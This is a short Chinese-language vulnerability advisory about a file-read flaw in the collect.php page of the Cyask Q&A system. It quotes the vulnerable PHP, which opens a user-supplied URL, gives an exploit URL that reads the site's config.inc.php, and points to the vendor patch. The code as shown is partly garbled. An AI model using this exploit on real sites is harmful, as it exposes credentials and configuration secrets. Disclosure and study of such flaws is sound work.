cyask知道系统collect.php页面存在越权漏洞_漏洞分析_网络安全_

影响版本:
Cyask

程序介绍:
Cyask国内较为多人使用的仿百度风格的Ask系统。

漏洞分析:

从Collect.php代码当中可以看到

else  
{    
/*  
检查网址  
*/  
$url=get_referer();    
$neturl=emptyempty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);    
  
$collect_url=emptyempty($neturl) ? $url : $neturl;    
  
$contents = ”;    
if($fid=@fopen($collect_url,”r“))    
{    
do  
{    
$data = fread($fid, 4096);    
if (strlen($data) == 0)    
{    
break;    
}    
$contents .= $data;    
}    
while(true);    
fclose($fid);    
}    
else  
{    
show_message(’collect_url_error’, ”);    
exit;    
}    

漏洞利用:
http://www.target.com/collect.php?neturl=config.inc.php

解决方案:
厂商补丁：
cyask
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载

提示： 本文由神整理自网络，如有侵权请联系本站删除！
本站声明：
1、本站所有资源均来源于互联网，不保证100%完整、不提供任何技术支持；
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途；否则由此产生的法律后果，本站概不负责！